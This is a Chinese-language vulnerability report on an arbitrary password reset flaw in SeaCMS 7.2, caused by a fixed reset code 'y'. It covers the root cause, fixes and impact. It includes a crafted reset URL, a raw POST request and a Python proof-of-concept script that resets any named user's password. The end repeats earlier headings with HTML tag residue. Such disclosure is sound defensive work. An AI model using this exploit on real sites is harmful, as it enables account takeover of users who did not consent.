SeaCMS 7.2 任意用户密码重置漏洞分析报告<\/h1>

漏洞概述<\/h2>
SeaCMS 7.2版本存在一个严重的任意用户密码重置漏洞，攻击者可以在不知道目标用户当前密码的情况下，通过构造特定的URL请求来重置任意用户的密码。该漏洞属于逻辑缺陷类漏洞，影响范围广，危害程度高。<\/p>

漏洞原理<\/h2>

1. 密码重置机制缺陷<\/h3>

系统在用户注册时，将repswcode<\/code>字段默认设置为固定值"y"：<\/p>

$dsql-><\/span>ExecuteNoneQuery<\/span>("INSERT INTO `sea_member`(..., repswcode, ...) VALUES (..., 'y', ...)"<\/span>);
<\/span><\/span><\/code><\/pre>2. 密码重置验证不严<\/h3>
在密码重置过程中，系统仅验证用户提交的repswcode<\/code>是否与数据库中存储的repswcode<\/code>匹配：<\/p>
$row=<\/span>$dsql-><\/span>GetOne<\/span>("select * from sea_member where username='<\/span>$repswname<\/span>'"<\/span>);
<\/span><\/span>$repswcode2=<\/span>$row['repswcode'<\/span>];
<\/span><\/span>if<\/span>($repswcode !=<\/span> $repswcode2){...<\/span>}
<\/span><\/span><\/code><\/pre>3. 重置后未更新安全凭证<\/h3>
密码重置成功后，系统又将repswcode<\/code>重置为固定值"y"：<\/p>
$dsql-><\/span>ExecuteNoneQuery<\/span>("update `sea_member` set password = '<\/span>$pwd<\/span>',repswcode = 'y' where username='<\/span>$repswname<\/span>'"<\/span>);
<\/span><\/span><\/code><\/pre>漏洞复现步骤<\/h2>
环境准备<\/h3>

安装SeaCMS 7.2版本<\/li>
注册两个测试用户：

User_A (12345678)<\/li>
User_B (87654321)<\/li>
<\/ul>
<\/li>
<\/ol>
攻击流程<\/h3>


获取目标用户名<\/strong>：确定要攻击的目标用户名（如User_B）<\/p>
<\/li>

构造重置链接<\/strong>：<\/p>
http:\/\/target-site\/member.php?mod=repsw3&repswcode=y&repswname=User_B
<\/code><\/pre>
<\/li>

提交新密码<\/strong>：

使用POST请求提交新密码：<\/p>
POST<\/span> \/member.php?mod=repsw4 HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> target-site<\/span>
<\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded<\/span>
<\/span><\/span>
<\/span><\/span>cckb=提交&repswname=User_B&repswnew2=12341234&repswcode=y&repswnew1=12341234
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
Python PoC代码<\/h3>
import<\/span> requests
<\/span><\/span>
<\/span><\/span>session =<\/span> requests.<\/span>Session()
<\/span><\/span>
<\/span><\/span>paramsGet =<\/span> {"mod"<\/span>:"repsw4"<\/span>}
<\/span><\/span>paramsPost =<\/span> {
<\/span><\/span>    "cckb"<\/span>:"提交"<\/span>,
<\/span><\/span>    "repswname"<\/span>:"targetUser"<\/span>,
<\/span><\/span>    "repswnew2"<\/span>:"12341234"<\/span>,
<\/span><\/span>    "repswcode"<\/span>:"y"<\/span>,
<\/span><\/span>    "repswnew1"<\/span>:"12341234"<\/span>
<\/span><\/span>}
<\/span><\/span>headers =<\/span> {
<\/span><\/span>    "User-Agent"<\/span>: "Mozilla\/5.0"<\/span>,
<\/span><\/span>    "Referer"<\/span>: "http:\/\/target-site\/member.php?mod=repsw3&repswcode=y&repswname=targetUser"<\/span>
<\/span><\/span>}
<\/span><\/span>response =<\/span> session.<\/span>post("http:\/\/target-site\/member.php"<\/span>, 
<\/span><\/span>                       data=<\/span>paramsPost, 
<\/span><\/span>                       params=<\/span>paramsGet, 
<\/span><\/span>                       headers=<\/span>headers)
<\/span><\/span>
<\/span><\/span>print("Status code: <\/span>%i<\/span>"<\/span> %<\/span> response.<\/span>status_code)
<\/span><\/span>print("Response body: <\/span>%s<\/span>"<\/span> %<\/span> response.<\/span>content)
<\/span><\/span><\/code><\/pre>漏洞分析<\/h2>


注册时固定repswcode<\/strong>：所有用户注册时repswcode<\/code>都被设置为"y"，缺乏随机性。<\/p>
<\/li>

密码重置流程缺陷<\/strong>：<\/p>

系统仅验证repswcode<\/code>是否匹配数据库中的值<\/li>
没有验证重置请求的来源合法性<\/li>
没有使用时间敏感的token<\/li>
<\/ul>
<\/li>

重置后安全凭证未更新<\/strong>：重置后repswcode<\/code>又被重置为"y"，导致漏洞可被重复利用。<\/p>
<\/li>
<\/ol>
修复方案<\/h2>
临时修复措施<\/h3>

修改member.php<\/code>和reg.php<\/code>，使用随机生成的repswcode<\/code>：<\/li>
<\/ol>
function<\/span> randomkeys<\/span>($length) {
<\/span><\/span>   $pattern =<\/span> '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ'<\/span>;
<\/span><\/span>   $key =<\/span> ''<\/span>;
<\/span><\/span>   for<\/span>($i=<\/span>0<\/span>;$i<<\/span>$length;$i++<\/span>) {
<\/span><\/span>       $key .=<\/span> $pattern[mt_rand<\/span>(0<\/span>,61<\/span>)]; 
<\/span><\/span>   }
<\/span><\/span>   return<\/span> $key;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>$repswcode =<\/span> randomkeys<\/span>(32<\/span>); \/\/ 使用32位随机字符串
<\/span><\/span><\/span><\/code><\/pre>
在注册和密码重置时使用随机生成的repswcode<\/code>：<\/li>
<\/ol>
\/\/ 注册时
<\/span><\/span><\/span><\/span>$dsql-><\/span>ExecuteNoneQuery<\/span>("INSERT INTO `sea_member`(..., repswcode, ...) VALUES (..., '<\/span>$repswcode<\/span>', ...)"<\/span>);
<\/span><\/span>
<\/span><\/span>\/\/ 重置密码后
<\/span><\/span><\/span><\/span>$dsql-><\/span>ExecuteNoneQuery<\/span>("update `sea_member` set password = '<\/span>$pwd<\/span>', repswcode = '<\/span>$new_repswcode<\/span>' where username='<\/span>$repswname<\/span>'"<\/span>);
<\/span><\/span><\/code><\/pre>长期安全建议<\/h3>


实现完整的密码重置流程：<\/p>

使用时间敏感的token<\/li>
设置token有效期（如30分钟）<\/li>
重置后使token立即失效<\/li>
<\/ul>
<\/li>

增加安全验证：<\/p>

验证重置请求的来源<\/li>
限制IP的尝试次数<\/li>
记录密码重置日志<\/li>
<\/ul>
<\/li>

使用加密安全的随机数生成器生成token<\/p>
<\/li>
<\/ol>
漏洞影响<\/h2>

攻击者可重置任意用户密码，获取账户控制权<\/li>
可能导致网站用户数据泄露<\/li>
可能被用于横向渗透攻击<\/li>
<\/ul>
总结<\/h2>
SeaCMS 7.2的密码重置机制存在严重逻辑缺陷，通过分析其注册和密码重置流程，我们发现系统使用固定值作为重置凭证且缺乏必要的安全验证。开发人员应重视此类逻辑漏洞，在关键业务流程中实施严格的安全控制措施。<\/p>

SeaCMS 7.2 任意用户密码重置漏洞分析报告<\/h1>

漏洞概述<\/h2> SeaCMS 7.2版本存在一个严重的任意用户密码重置漏洞，攻击者可以在不知道目标用户当前密码的情况下，通过构造特定的URL请求来重置任意用户的密码。该漏洞属于逻辑缺陷类漏洞，影响范围广，危害程度高。<\/p>

漏洞原理<\/h2>

漏洞复现步骤<\/h2>

漏洞概述<\/h2>
SeaCMS 7.2版本存在一个严重的任意用户密码重置漏洞，攻击者可以在不知道目标用户当前密码的情况下，通过构造特定的URL请求来重置任意用户的密码。该漏洞属于逻辑缺陷类漏洞，影响范围广，危害程度高。<\/p>